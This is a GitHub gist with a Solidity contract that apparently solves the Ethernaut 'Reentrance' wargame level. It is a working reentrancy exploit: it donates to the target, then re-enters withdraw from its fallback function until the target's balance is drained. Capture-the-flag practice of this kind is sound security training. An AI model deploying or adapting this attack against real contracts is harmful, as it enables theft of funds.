Skip to content

Instantly share code, notes, and snippets.

@hackingbeauty
Created September 14, 2020 21:20
Show Gist options
  • Save hackingbeauty/0ced6c44651ec7ce33dacff4b7462ee2 to your computer and use it in GitHub Desktop.
Save hackingbeauty/0ced6c44651ec7ce33dacff4b7462ee2 to your computer and use it in GitHub Desktop.
EthernautReentrancyAttack.sol (www.SmartContractSecurity.com)
pragma solidity ^0.6.10;
import './Reentrance.sol';
contract EthernautReentrancyAttack {
Reentrance target;
uint public amount = 1 ether; //withdrawal amount each time
constructor(address payable _targetAddr) public payable {
target = Reentrance(_targetAddr);
}
function donateToTarget() public {
target.donate.value(amount).gas(4000000)(address(this)); //need to add value to this fn
}
fallback() external payable {
if (address(target).balance != 0 ) {
target.withdraw(amount);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment